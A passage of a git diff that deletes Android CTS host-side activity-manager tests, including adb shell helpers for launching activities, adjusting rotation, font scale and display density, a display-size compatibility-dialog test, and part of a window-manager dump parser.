-    private static final String AM_SUPPORTS_SPLIT_SCREEN_MULTIWINDOW =
-            "am supports-split-screen-multiwindow";
-
-    private static final String INPUT_KEYEVENT_HOME = "input keyevent 3";
-
-    protected static final int INVALID_DEVICE_ROTATION = -1;
-
-    /** A reference to the device under test. */
-    protected ITestDevice mDevice;
-
-    private HashSet<String> mAvailableFeatures;
-    final private String RESULT_KEY_HEAD = "HEAD";
-    final private String NO_HOME_SCREEN_OBSERVER = "NoHomeScreenObserver";
-    private static boolean mCheckedNoHomeScreen = false;
-    private static boolean mNoHomeScreen = false;
-
-    protected static String getAmStartCmd(final String activityName) {
-        return "am start -n " + getActivityComponentName(activityName);
-    }
-
-    protected static String getAmStartCmdOverHome(final String activityName) {
-        return "am start --activity-task-on-home -n " + getActivityComponentName(activityName);
-    }
-
-    static String getActivityComponentName(final String activityName) {
-        return "android.server.app/." + activityName;
-    }
-
-    static String getWindowName(final String activityName) {
-        return "android.server.app/android.server.app." + activityName;
-    }
-
-    protected ActivityAndWindowManagersState mAmWmState = new ActivityAndWindowManagersState();
-
-    private int mInitialAccelerometerRotation;
-    private int mUserRotation;
-    private float mFontScale;
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-
-        // Get the device, this gives a handle to run commands and install APKs.
-        mDevice = getDevice();
-        unlockDevice();
-        // Remove special stacks.
-        executeShellCommand(AM_REMOVE_STACK + PINNED_STACK_ID);
-        executeShellCommand(AM_REMOVE_STACK + DOCKED_STACK_ID);
-        executeShellCommand(AM_REMOVE_STACK + FREEFORM_WORKSPACE_STACK_ID);
-        // Store rotation settings.
-        mInitialAccelerometerRotation = getAccelerometerRotation();
-        mUserRotation = getUserRotation();
-        mFontScale = getFontScale();
-    }
-
-    @Override
-    protected void tearDown() throws Exception {
-        super.tearDown();
-        try {
-            unlockDevice();
-            executeShellCommand(AM_FORCE_STOP_TEST_PACKAGE);
-            // Restore rotation settings to the state they were before test.
-            setAccelerometerRotation(mInitialAccelerometerRotation);
-            setUserRotation(mUserRotation);
-            setFontScale(mFontScale);
-            // Remove special stacks.
-            executeShellCommand(AM_REMOVE_STACK + PINNED_STACK_ID);
-            executeShellCommand(AM_REMOVE_STACK + DOCKED_STACK_ID);
-            executeShellCommand(AM_REMOVE_STACK + FREEFORM_WORKSPACE_STACK_ID);
-        } catch (DeviceNotAvailableException e) {
-        }
-    }
-
-    protected String executeShellCommand(String command) throws DeviceNotAvailableException {
-        log("adb shell " + command);
-        return mDevice.executeShellCommand(command);
-    }
-
-    protected void executeShellCommand(String command, CollectingOutputReceiver outputReceiver)
-            throws DeviceNotAvailableException {
-        log("adb shell " + command);
-        mDevice.executeShellCommand(command, outputReceiver);
-    }
-
-    /**
-     * Launch specific target activity. It uses existing instance of {@link #LAUNCHING_ACTIVITY}, so
-     * that one should be started first.
-     * @param toSide Launch to side in split-screen.
-     * @param randomData Make intent URI random by generating random data.
-     * @param multipleTask Allow multiple task launch.
-     * @param targetActivityName Target activity to be launched. Only class name should be provided,
-     *                           package name of {@link #LAUNCHING_ACTIVITY} will be added
-     *                           automatically.
-     * @throws Exception
-     */
-    protected void launchActivity(boolean toSide, boolean randomData, boolean multipleTask,
-            String targetActivityName) throws Exception {
-        StringBuilder commandBuilder = new StringBuilder(getAmStartCmd(LAUNCHING_ACTIVITY));
-        commandBuilder.append(" -f 0x20000000");
-        if (toSide) {
-            commandBuilder.append(" --ez launch_to_the_side true");
-        }
-        if (randomData) {
-            commandBuilder.append(" --ez random_data true");
-        }
-        if (multipleTask) {
-            commandBuilder.append(" --ez multiple_task true");
-        }
-        if (targetActivityName != null) {
-            commandBuilder.append(" --es target_activity ").append(targetActivityName);
-        }
-        executeShellCommand(commandBuilder.toString());
-    }
-
-    protected void launchActivityInStack(String activityName, int stackId) throws Exception {
-        executeShellCommand(getAmStartCmd(activityName) + " --stack " + stackId);
-    }
-
-    protected void launchActivityInDockStack(String activityName) throws Exception {
-        executeShellCommand(getAmStartCmd(activityName));
-        moveActivityToDockStack(activityName);
-    }
-
-    protected void launchActivityToSide(boolean randomData, boolean multipleTaskFlag,
-            String targetActivity) throws Exception {
-        launchActivity(true /* toSide */, randomData, multipleTaskFlag, targetActivity);
-    }
-
-    protected void moveActivityToDockStack(String activityName) throws Exception {
-        moveActivityToStack(activityName, DOCKED_STACK_ID);
-    }
-
-    protected void moveActivityToStack(String activityName, int stackId) throws Exception {
-        final int taskId = getActivityTaskId(activityName);
-        final String cmd = AM_MOVE_TASK + taskId + " " + stackId + " true";
-        executeShellCommand(cmd);
-    }
-
-    protected void resizeActivityTask(String activityName, int left, int top, int right, int bottom)
-            throws Exception {
-        final int taskId = getActivityTaskId(activityName);
-        final String cmd = "am task resize "
-                + taskId + " " + left + " " + top + " " + right + " " + bottom;
-        executeShellCommand(cmd);
-    }
-
-    protected void resizeDockedStack(
-            int stackWidth, int stackHeight, int taskWidth, int taskHeight)
-                    throws DeviceNotAvailableException {
-        executeShellCommand(AM_RESIZE_DOCKED_STACK
-                + "0 0 " + stackWidth + " " + stackHeight
-                + " 0 0 " + taskWidth + " " + taskHeight);
-    }
-
-    protected void pressHomeButton() throws DeviceNotAvailableException {
-        executeShellCommand(INPUT_KEYEVENT_HOME);
-    }
-
-    // Utility method for debugging, not used directly here, but useful, so kept around.
-    protected void printStacksAndTasks() throws DeviceNotAvailableException {
-        CollectingOutputReceiver outputReceiver = new CollectingOutputReceiver();
-        executeShellCommand(AM_STACK_LIST, outputReceiver);
-        String output = outputReceiver.getOutput();
-        for (String line : output.split("\\n")) {
-            CLog.logAndDisplay(LogLevel.INFO, line);
-        }
-    }
-
-    protected int getActivityTaskId(String name) throws DeviceNotAvailableException {
-        CollectingOutputReceiver outputReceiver = new CollectingOutputReceiver();
-        executeShellCommand(AM_STACK_LIST, outputReceiver);
-        final String output = outputReceiver.getOutput();
-        final Pattern activityPattern = Pattern.compile("(.*) " + getWindowName(name) + " (.*)");
-        for (String line : output.split("\\n")) {
-            Matcher matcher = activityPattern.matcher(line);
-            if (matcher.matches()) {
-                for (String word : line.split("\\s+")) {
-                    if (word.startsWith(TASK_ID_PREFIX)) {
-                        final String withColon = word.split("=")[1];
-                        return Integer.parseInt(withColon.substring(0, withColon.length() - 1));
-                    }
-                }
-            }
-        }
-        return -1;
-    }
-
-    protected boolean supportsPip() throws DeviceNotAvailableException {
-        return hasDeviceFeature("android.software.picture_in_picture")
-                || PRETEND_DEVICE_SUPPORTS_PIP;
-    }
-
-    protected boolean supportsFreeform() throws DeviceNotAvailableException {
-        return hasDeviceFeature("android.software.freeform_window_management")
-                || PRETEND_DEVICE_SUPPORTS_FREEFORM;
-    }
-
-    protected boolean supportsMultiWindowMode() throws DeviceNotAvailableException {
-        return !hasDeviceFeature("android.hardware.type.watch")
-                || PRETEND_DEVICE_SUPPORTS_DOCKING;
-    }
-
-    protected boolean supportsScreenRotation() throws DeviceNotAvailableException {
-        return !hasDeviceFeature("android.hardware.type.watch")
-                || PRETEND_DEVICE_SUPPORTS_ROTATION;
-    }
-
-    protected boolean supportsSplitScreenMultiWindow() throws DeviceNotAvailableException {
-        CollectingOutputReceiver outputReceiver = new CollectingOutputReceiver();
-        executeShellCommand(AM_SUPPORTS_SPLIT_SCREEN_MULTIWINDOW, outputReceiver);
-        String output = outputReceiver.getOutput();
-        return !output.startsWith("false");
-    }
-
-    protected boolean noHomeScreen() throws DeviceNotAvailableException {
-        if (!mCheckedNoHomeScreen) {
-            try {
-                executeShellCommand("am start -n android.server.app/." + NO_HOME_SCREEN_OBSERVER);
-                waitForResume("android.server.app", NO_HOME_SCREEN_OBSERVER);
-                Map map = getLogResults(NO_HOME_SCREEN_OBSERVER);
-                String value = (String)map.get(RESULT_KEY_HEAD);
-                if (value != null && value.equals("OK")) {
-                    mCheckedNoHomeScreen = true;
-                    mNoHomeScreen = map.get("config_noHomeScreen").equals("true");
-                }
-                executeShellCommand(AM_FORCE_STOP_TEST_PACKAGE);
-            } catch (Exception e) {
-                e.printStackTrace();
-            }
-        }
-        return mNoHomeScreen;
-    }
-
-    private Map<String, String> getLogResults(String className) throws Exception {
-        int retryCount = 3;
-        Map<String, String> output = new HashMap<String, String>();
-        do {
-
-            String logs = executeShellCommand("logcat -v brief -d " + className + ":I" + " *:S");
-            for (String line : logs.split("\\n")) {
-                if (line.startsWith("I/" + className)) {
-                    String payload = line.split(":")[1].trim();
-                    final String[] split = payload.split("=");
-                    if (split.length > 1) {
-                        output.put(split[0], split[1]);
-                    }
-                }
-            }
-            if (output.containsKey(RESULT_KEY_HEAD)) {
-                return output;
-            }
-        } while (retryCount-- > 0);
-        return output;
-    }
-
-    private void waitForResume(String packageName, String activityName) throws Exception {
-        final String fullActivityName = packageName + "." + activityName;
-        int retryCount = 3;
-        do {
-            Thread.sleep(500);
-            String logs = executeShellCommand("logcat -d -b events");
-            for (String line : logs.split("\\n")) {
-                if(line.contains("am_on_resume_called") && line.contains(fullActivityName)) {
-                    return;
-                }
-            }
-        } while (retryCount-- > 0);
-
-        throw new Exception(fullActivityName + " has failed to start");
-    }
-
-    protected boolean hasDeviceFeature(String requiredFeature) throws DeviceNotAvailableException {
-        if (mAvailableFeatures == null) {
-            // TODO: Move this logic to ITestDevice.
-            final String output = runCommandAndPrintOutput("pm list features");
-
-            // Extract the id of the new user.
-            mAvailableFeatures = new HashSet<>();
-            for (String feature: output.split("\\s+")) {
-                // Each line in the output of the command has the format "feature:{FEATURE_VALUE}".
-                String[] tokens = feature.split(":");
-                assertTrue("\"" + feature + "\" expected to have format feature:{FEATURE_VALUE}",
-                        tokens.length > 1);
-                assertEquals(feature, "feature", tokens[0]);
-                mAvailableFeatures.add(tokens[1]);
-            }
-        }
-        boolean result = mAvailableFeatures.contains(requiredFeature);
-        if (!result) {
-            CLog.logAndDisplay(LogLevel.INFO, "Device doesn't support " + requiredFeature);
-        }
-        return result;
-    }
-
-    private boolean isDisplayOn() throws DeviceNotAvailableException {
-        final CollectingOutputReceiver outputReceiver = new CollectingOutputReceiver();
-        mDevice.executeShellCommand("dumpsys power", outputReceiver);
-
-        for (String line : outputReceiver.getOutput().split("\\n")) {
-            line = line.trim();
-
-            final Matcher matcher = sDisplayStatePattern.matcher(line);
-            if (matcher.matches()) {
-                final String state = matcher.group(1);
-                log("power state=" + state);
-                return "ON".equals(state);
-            }
-        }
-        log("power state :(");
-        return false;
-    }
-
-    protected void lockDevice() throws DeviceNotAvailableException {
-        int retriesLeft = 5;
-        runCommandAndPrintOutput("input keyevent 26");
-        do {
-            if (isDisplayOn()) {
-                log("***Waiting for display to turn off...");
-                try {
-                    Thread.sleep(1000);
-                } catch (InterruptedException e) {
-                    log(e.toString());
-                    // Well I guess we are not waiting...
-                }
-            } else {
-                break;
-            }
-        } while (retriesLeft-- > 0);
-    }
-
-    protected void unlockDevice() throws DeviceNotAvailableException {
-        if (!isDisplayOn()) {
-            runCommandAndPrintOutput("input keyevent 224");
-            runCommandAndPrintOutput("input keyevent 82");
-        }
-    }
-
-    protected void setDeviceRotation(int rotation) throws DeviceNotAvailableException {
-        setAccelerometerRotation(0);
-        setUserRotation(rotation);
-    }
-
-    protected int getDeviceRotation(int displayId) throws DeviceNotAvailableException {
-        final String displays = runCommandAndPrintOutput("dumpsys display displays").trim();
-        Pattern pattern = Pattern.compile(
-                "(mDisplayId=" + displayId + ")([\\s\\S]*)(mOverrideDisplayInfo)(.*)"
-                        + "(rotation)(\\s+)(\\d+)");
-        Matcher matcher = pattern.matcher(displays);
-        while (matcher.find()) {
-            final String match = matcher.group(7);
-            return Integer.parseInt(match);
-        }
-
-        return INVALID_DEVICE_ROTATION;
-    }
-
-    private int getAccelerometerRotation() throws DeviceNotAvailableException {
-        final String rotation =
-                runCommandAndPrintOutput("settings get system accelerometer_rotation");
-        return Integer.parseInt(rotation.trim());
-    }
-
-    private void setAccelerometerRotation(int rotation) throws DeviceNotAvailableException {
-        runCommandAndPrintOutput(
-                "settings put system accelerometer_rotation " + rotation);
-    }
-
-    protected int getUserRotation() throws DeviceNotAvailableException {
-        final String rotation =
-                runCommandAndPrintOutput("settings get system user_rotation").trim();
-        if ("null".equals(rotation)) {
-            return -1;
-        }
-        return Integer.parseInt(rotation);
-    }
-
-    private void setUserRotation(int rotation) throws DeviceNotAvailableException {
-        if (rotation == -1) {
-            runCommandAndPrintOutput(
-                    "settings delete system user_rotation");
-        } else {
-            runCommandAndPrintOutput(
-                    "settings put system user_rotation " + rotation);
-        }
-    }
-
-    protected void setFontScale(float fontScale) throws DeviceNotAvailableException {
-        if (fontScale == 0.0f) {
-            runCommandAndPrintOutput(
-                    "settings delete system font_scale");
-        } else {
-            runCommandAndPrintOutput(
-                    "settings put system font_scale " + fontScale);
-        }
-    }
-
-    protected float getFontScale() throws DeviceNotAvailableException {
-        try {
-            final String fontScale =
-                    runCommandAndPrintOutput("settings get system font_scale").trim();
-            return Float.parseFloat(fontScale);
-        } catch (NumberFormatException e) {
-            // If we don't have a valid font scale key, return 0.0f now so
-            // that we delete the key in tearDown().
-            return 0.0f;
-        }
-    }
-
-    protected String runCommandAndPrintOutput(String command) throws DeviceNotAvailableException {
-        final String output = executeShellCommand(command);
-        log(output);
-        return output;
-    }
-
-    protected void clearLogcat() throws DeviceNotAvailableException {
-        mDevice.executeAdbCommand("logcat", "-c");
-    }
-
-    protected void assertActivityLifecycle(String activityName, boolean relaunched)
-            throws DeviceNotAvailableException {
-        final ActivityLifecycleCounts lifecycleCounts = new ActivityLifecycleCounts(activityName);
-
-        if (relaunched) {
-            if (lifecycleCounts.mDestroyCount < 1) {
-                fail(activityName + " must have been destroyed. mDestroyCount="
-                        + lifecycleCounts.mDestroyCount);
-            }
-            if (lifecycleCounts.mCreateCount < 1) {
-                fail(activityName + " must have been (re)created. mCreateCount="
-                        + lifecycleCounts.mCreateCount);
-            }
-        } else {
-            if (lifecycleCounts.mDestroyCount > 0) {
-                fail(activityName + " must *NOT* have been destroyed. mDestroyCount="
-                        + lifecycleCounts.mDestroyCount);
-            }
-            if (lifecycleCounts.mCreateCount > 0) {
-                fail(activityName + " must *NOT* have been (re)created. mCreateCount="
-                        + lifecycleCounts.mCreateCount);
-            }
-            if (lifecycleCounts.mConfigurationChangedCount < 1) {
-                fail(activityName + " must have received configuration changed. "
-                        + "mConfigurationChangedCount="
-                        + lifecycleCounts.mConfigurationChangedCount);
-            }
-        }
-    }
-
-    protected void assertRelaunchOrConfigChanged(
-            String activityName, int numRelaunch, int numConfigChange)
-            throws DeviceNotAvailableException {
-        final ActivityLifecycleCounts lifecycleCounts = new ActivityLifecycleCounts(activityName);
-
-        if (lifecycleCounts.mDestroyCount != numRelaunch) {
-            fail(activityName + " has been destroyed " + lifecycleCounts.mDestroyCount
-                    + " time(s), expecting " + numRelaunch);
-        } else if (lifecycleCounts.mCreateCount != numRelaunch) {
-            fail(activityName + " has been (re)created " + lifecycleCounts.mCreateCount
-                    + " time(s), expecting " + numRelaunch);
-        } else if (lifecycleCounts.mConfigurationChangedCount != numConfigChange) {
-            fail(activityName + " has received " + lifecycleCounts.mConfigurationChangedCount
-                    + " onConfigurationChanged() calls, expecting " + numConfigChange);
-        }
-    }
-
-    protected String[] getDeviceLogsForComponent(String componentName)
-            throws DeviceNotAvailableException {
-        return mDevice.executeAdbCommand(
-                "logcat", "-v", "brief", "-d", componentName + ":I", "*:S").split("\\n");
-    }
-
-    protected String[] getDeviceLogsForComponents(final String[] componentNames)
-            throws DeviceNotAvailableException {
-        String filters = "";
-        for (int i = 0; i < componentNames.length; i++) {
-            filters += componentNames[i] + ":I ";
-        }
-        return mDevice.executeAdbCommand(
-                "logcat", "-v", "brief", "-d", filters, "*:S").split("\\n");
-    }
-
-    private static final Pattern sCreatePattern = Pattern.compile("(.+): onCreate");
-    private static final Pattern sConfigurationChangedPattern =
-            Pattern.compile("(.+): onConfigurationChanged");
-    private static final Pattern sDestroyPattern = Pattern.compile("(.+): onDestroy");
-    private static final Pattern sNewConfigPattern = Pattern.compile(
-            "(.+): config size=\\((\\d+),(\\d+)\\) displaySize=\\((\\d+),(\\d+)\\)" +
-            " metricsSize=\\((\\d+),(\\d+)\\) smallestScreenWidth=(\\d+)");
-    private static final Pattern sDisplayStatePattern =
-            Pattern.compile("Display Power: state=(.+)");
-
-    protected class ReportedSizes {
-        int widthDp;
-        int heightDp;
-        int displayWidth;
-        int displayHeight;
-        int metricsWidth;
-        int metricsHeight;
-        int smallestWidthDp;
-
-        @Override
-        public String toString() {
-            return "ReportedSizes: {widthDp=" + widthDp + " heightDp=" + heightDp +
-                    " displayWidth=" + displayWidth + " displayHeight=" + displayHeight +
-                    " metricsWidth=" + metricsWidth + " metricsHeight=" + metricsHeight +
-                    " smallestWidthDp=" + smallestWidthDp + "}";
-        }
-    }
-
-    protected ReportedSizes getLastReportedSizesForActivity(String activityName)
-            throws DeviceNotAvailableException {
-        final String[] lines = getDeviceLogsForComponent(activityName);
-        for (int i = lines.length - 1; i >= 0; i--) {
-            final String line = lines[i].trim();
-            final Matcher matcher = sNewConfigPattern.matcher(line);
-            if (matcher.matches()) {
-                ReportedSizes details = new ReportedSizes();
-                details.widthDp = Integer.parseInt(matcher.group(2));
-                details.heightDp = Integer.parseInt(matcher.group(3));
-                details.displayWidth = Integer.parseInt(matcher.group(4));
-                details.displayHeight = Integer.parseInt(matcher.group(5));
-                details.metricsWidth = Integer.parseInt(matcher.group(6));
-                details.metricsHeight = Integer.parseInt(matcher.group(7));
-                details.smallestWidthDp = Integer.parseInt(matcher.group(8));
-                return details;
-            }
-        }
-        return null;
-    }
-
-    private class ActivityLifecycleCounts {
-        int mCreateCount;
-        int mConfigurationChangedCount;
-        int mDestroyCount;
-
-        public ActivityLifecycleCounts(String activityName) throws DeviceNotAvailableException {
-            for (String line : getDeviceLogsForComponent(activityName)) {
-                line = line.trim();
-
-                Matcher matcher = sCreatePattern.matcher(line);
-                if (matcher.matches()) {
-                    mCreateCount++;
-                    continue;
-                }
-
-                matcher = sConfigurationChangedPattern.matcher(line);
-                if (matcher.matches()) {
-                    mConfigurationChangedCount++;
-                    continue;
-                }
-
-                matcher = sDestroyPattern.matcher(line);
-                if (matcher.matches()) {
-                    mDestroyCount++;
-                    continue;
-                }
-            }
-        }
-    }
-}
diff --git a/hostsidetests/services/activitymanager/src/android/server/cts/DisplaySizeTest.java b/hostsidetests/services/activitymanager/src/android/server/cts/DisplaySizeTest.java
deleted file mode 100644
index 4dbb704..0000000
--- a/hostsidetests/services/activitymanager/src/android/server/cts/DisplaySizeTest.java
+++ /dev/null
@@ -1,171 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.server.cts;
-
-import com.android.tradefed.device.DeviceNotAvailableException;
-import com.android.tradefed.device.ITestDevice;
-import com.android.tradefed.testtype.DeviceTestCase;
-
-/**
- * Ensure that compatibility dialog is shown when launching an application with
- * an unsupported smallest width.
- */
-public class DisplaySizeTest extends DeviceTestCase {
-    private static final String DENSITY_PROP_DEVICE = "ro.sf.lcd_density";
-    private static final String DENSITY_PROP_EMULATOR = "qemu.sf.lcd_density";
-
-    private static final String AM_START_COMMAND = "am start -n %s/%s.%s";
-    private static final String AM_FORCE_STOP = "am force-stop %s";
-
-    private static final int ACTIVITY_TIMEOUT_MILLIS = 1000;
-    private static final int WINDOW_TIMEOUT_MILLIS = 1000;
-
-    private ITestDevice mDevice;
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-
-        mDevice = getDevice();
-    }
-
-    @Override
-    protected void tearDown() throws Exception {
-        super.tearDown();
-
-        try {
-            resetDensity();
-
-            // Ensure app process is stopped.
-            forceStopPackage("android.displaysize.app");
-            forceStopPackage("android.server.app");
-        } catch (DeviceNotAvailableException e) {
-            // Do nothing.
-        }
-    }
-
-    public void testCompatibilityDialog() throws Exception {
-        // Launch some other app (not to perform density change on launcher).
-        startActivity("android.server.app", "TestActivity");
-        verifyWindowDisplayed("TestActivity", ACTIVITY_TIMEOUT_MILLIS);
-
-        setUnsupportedDensity();
-
-        // Launch target app.
-        startActivity("android.displaysize.app", "SmallestWidthActivity");
-        verifyWindowDisplayed("SmallestWidthActivity", ACTIVITY_TIMEOUT_MILLIS);
-        verifyWindowDisplayed("UnsupportedDisplaySizeDialog", WINDOW_TIMEOUT_MILLIS);
-    }
-
-    public void testCompatibilityDialogWhenFocused() throws Exception {
-        startActivity("android.displaysize.app", "SmallestWidthActivity");
-        verifyWindowDisplayed("SmallestWidthActivity", ACTIVITY_TIMEOUT_MILLIS);
-
-        setUnsupportedDensity();
-
-        verifyWindowDisplayed("UnsupportedDisplaySizeDialog", WINDOW_TIMEOUT_MILLIS);
-    }
-
-    public void testCompatibilityDialogAfterReturn() throws Exception {
-        // Launch target app.
-        startActivity("android.displaysize.app", "SmallestWidthActivity");
-        verifyWindowDisplayed("SmallestWidthActivity", ACTIVITY_TIMEOUT_MILLIS);
-        // Launch another activity.
-        startOtherActivityOnTop("android.displaysize.app", "SmallestWidthActivity");
-        verifyWindowDisplayed("TestActivity", ACTIVITY_TIMEOUT_MILLIS);
-
-        setUnsupportedDensity();
-
-        // Go back.
-        mDevice.executeShellCommand("input keyevent 4");
-
-        verifyWindowDisplayed("SmallestWidthActivity", ACTIVITY_TIMEOUT_MILLIS);
-        verifyWindowDisplayed("UnsupportedDisplaySizeDialog", WINDOW_TIMEOUT_MILLIS);
-    }
-
-    private void setUnsupportedDensity() throws DeviceNotAvailableException {
-        // Set device to 0.85 zoom. It doesn't matter that we're zooming out
-        // since the feature verifies that we're in a non-default density.
-        final int stableDensity = getStableDensity();
-        final int targetDensity = (int) (stableDensity * 0.85);
-        setDensity(targetDensity);
-    }
-
-    private int getStableDensity() {
-        try {
-            final String densityProp;
-            if (mDevice.getSerialNumber().startsWith("emulator-")) {
-                densityProp = DENSITY_PROP_EMULATOR;
-            } else {
-                densityProp = DENSITY_PROP_DEVICE;
-            }
-
-            return Integer.parseInt(mDevice.getProperty(densityProp));
-        } catch (DeviceNotAvailableException e) {
-            return 0;
-        }
-    }
-
-    private void setDensity(int targetDensity) throws DeviceNotAvailableException {
-        mDevice.executeShellCommand("wm density " + targetDensity);
-
-        // Verify that the density is changed.
-        final String output = mDevice.executeShellCommand("wm density");
-        final boolean success = output.contains("Override density: " + targetDensity);
-
-        assertTrue("Failed to set density to " + targetDensity, success);
-    }
-
-    private void resetDensity() throws DeviceNotAvailableException {
-        mDevice.executeShellCommand("wm density reset");
-    }
-
-    private void forceStopPackage(String packageName) throws DeviceNotAvailableException {
-        final String forceStopCmd = String.format(AM_FORCE_STOP, packageName);
-        mDevice.executeShellCommand(forceStopCmd);
-    }
-
-    private void startActivity(String packageName, String activityName)
-            throws DeviceNotAvailableException {
-        mDevice.executeShellCommand(getStartCommand(packageName, activityName));
-    }
-
-    private void startOtherActivityOnTop(String packageName, String activityName)
-            throws DeviceNotAvailableException {
-        final String startCmd = getStartCommand(packageName, activityName)
-                + " -f 0x20000000 --ez launch_another_activity true";
-        mDevice.executeShellCommand(startCmd);
-    }
-
-    private String getStartCommand(String packageName, String activityName) {
-        return String.format(AM_START_COMMAND, packageName, packageName, activityName);
-    }
-
-    private void verifyWindowDisplayed(String windowName, long timeoutMillis)
-            throws DeviceNotAvailableException {
-        boolean success = false;
-
-        // Verify that compatibility dialog is shown within 1000ms.
-        final long timeoutTimeMillis = System.currentTimeMillis() + timeoutMillis;
-        while (!success && System.currentTimeMillis() < timeoutTimeMillis) {
-            final String output = mDevice.executeShellCommand("dumpsys window");
-            success = output.contains(windowName);
-        }
-
-        assertTrue(windowName + " was not displayed", success);
-    }
-}
diff --git a/hostsidetests/services/activitymanager/src/android/server/cts/WindowManagerState.java b/hostsidetests/services/activitymanager/src/android/server/cts/WindowManagerState.java
deleted file mode 100644
index a057013..0000000
--- a/hostsidetests/services/activitymanager/src/android/server/cts/WindowManagerState.java
+++ /dev/null
@@ -1,706 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.cts;
-
-import com.android.tradefed.device.CollectingOutputReceiver;
-import com.android.tradefed.device.DeviceNotAvailableException;
-import com.android.tradefed.device.ITestDevice;
-import com.android.tradefed.log.LogUtil.CLog;
-
-import java.awt.Rectangle;
-import java.lang.String;
-import java.util.ArrayList;
-import java.util.Collections;
-import java.util.LinkedList;
-import java.util.List;
-
-import java.util.regex.Pattern;
-import java.util.regex.Matcher;
-
-import static android.server.cts.StateLogger.log;
-import static android.server.cts.StateLogger.logE;
-
-class WindowManagerState {
-    private static final String DUMPSYS_WINDOWS_APPS = "dumpsys window apps";
-    private static final String DUMPSYS_WINDOWS_VISIBLE_APPS = "dumpsys window visible-apps";
-
-    private static final Pattern sWindowPattern =
-            Pattern.compile("Window #(\\d+) Window\\{([0-9a-fA-F]+) u(\\d+) (.+)\\}\\:");
-    private static final Pattern sStartingWindowPattern =
-            Pattern.compile("Window #(\\d+) Window\\{([0-9a-fA-F]+) u(\\d+) Starting (.+)\\}\\:");
-    private static final Pattern sExitingWindowPattern =
-            Pattern.compile("Window #(\\d+) Window\\{([0-9a-fA-F]+) u(\\d+) (.+) EXITING\\}\\:");
-
-    private static final Pattern sFocusedWindowPattern = Pattern.compile(
-            "mCurrentFocus=Window\\{([0-9a-fA-F]+) u(\\d+) (\\S+)\\}");
-    private static final Pattern sAppErrorFocusedWindowPattern = Pattern.compile(
-            "mCurrentFocus=Window\\{([0-9a-fA-F]+) u(\\d+) Application Error\\: (\\S+)\\}");
-    private static final Pattern sWaitingForDebuggerFocusedWindowPattern = Pattern.compile(
-            "mCurrentFocus=Window\\{([0-9a-fA-F]+) u(\\d+) Waiting For Debugger\\: (\\S+)\\}");
-
-    private static final Pattern sFocusedAppPattern =
-            Pattern.compile("mFocusedApp=AppWindowToken\\{(.+) token=Token\\{(.+) "
-                    + "ActivityRecord\\{(.+) u(\\d+) (\\S+) (\\S+)");
-
-    private static final Pattern sStackIdPattern = Pattern.compile("mStackId=(\\d+)");
-
-    private static final Pattern[] sExtractStackExitPatterns = {
-            sStackIdPattern, sWindowPattern, sStartingWindowPattern, sExitingWindowPattern,
-            sFocusedWindowPattern, sAppErrorFocusedWindowPattern,
-            sWaitingForDebuggerFocusedWindowPattern, sFocusedAppPattern };
-
-    // Windows in z-order with the top most at the front of the list.
-    private List<String> mWindows = new ArrayList();
-    private List<WindowState> mWindowStates = new ArrayList();
-    private List<WindowStack> mStacks = new ArrayList();
-    private List<Display> mDisplays = new ArrayList();
-    private String mFocusedWindow = null;
-    private String mFocusedApp = null;
-    private final LinkedList<String> mSysDump = new LinkedList();
-
-    void computeState(ITestDevice device, boolean visibleOnly) throws DeviceNotAvailableException {
-        // It is possible the system is in the middle of transition to the right state when we get
-        // the dump. We try a few times to get the information we need before giving up.
-        int retriesLeft = 3;
-        boolean retry = false;
-        String dump = null;
-
-        log("==============================");
-        log("      WindowManagerState      ");
-        log("==============================");
-        do {
-            if (retry) {
-                log("***Incomplete WM state. Retrying...");
-                // Wait half a second between retries for window manager to finish transitioning...
-                try {
-                    Thread.sleep(500);
-                } catch (InterruptedException e) {
-                    log(e.toString());
-                    // Well I guess we are not waiting...
-                }
-            }
-
-            final CollectingOutputReceiver outputReceiver = new CollectingOutputReceiver();
-            final String dumpsysCmd = visibleOnly ?
-                    DUMPSYS_WINDOWS_VISIBLE_APPS : DUMPSYS_WINDOWS_APPS;
-            device.executeShellCommand(dumpsysCmd, outputReceiver);
-            dump = outputReceiver.getOutput();
-            parseSysDump(dump, visibleOnly);
-
-            retry = mWindows.isEmpty() || mFocusedWindow == null || mFocusedApp == null;
-        } while (retry && retriesLeft-- > 0);
-
-        if (retry) {
-            log(dump);
-        }
-
-        if (mWindows.isEmpty()) {
-            logE("No Windows found...");
-        }
-        if (mFocusedWindow == null) {
-            logE("No Focused Window...");
-        }
-        if (mFocusedApp == null) {
-            logE("No Focused App...");
-        }
-    }
-
-    private void parseSysDump(String sysDump, boolean visibleOnly) {
-        reset();
-
-        Collections.addAll(mSysDump, sysDump.split("\\n"));
-
-        while (!mSysDump.isEmpty()) {
-            final Display display =
-                    Display.create(mSysDump, sExtractStackExitPatterns);
-            if (display != null) {
-                log(display.toString());
-                mDisplays.add(display);
-                continue;
-            }
-
-            final WindowStack stack =
-                    WindowStack.create(mSysDump, sStackIdPattern, sExtractStackExitPatterns);
-
-            if (stack != null) {
-                mStacks.add(stack);
-                continue;
-            }
-
-
-            final WindowState ws = WindowState.create(mSysDump, sExtractStackExitPatterns);
-            if (ws != null) {
-                log(ws.toString());
-
-                if (visibleOnly) {
-                    // Check to see if we are in the middle of transitioning. If we are, we want to
-                    // skip dumping until window manager is done transitioning windows.
-                    if (ws.isStartingWindow()) {
-                        log("Skipping dump due to starting window transition...");
-                        return;
-                    }
-
-                    if (ws.isExitingWindow()) {
-                        log("Skipping dump due to exiting window transition...");
-                        return;
-                    }
-                }
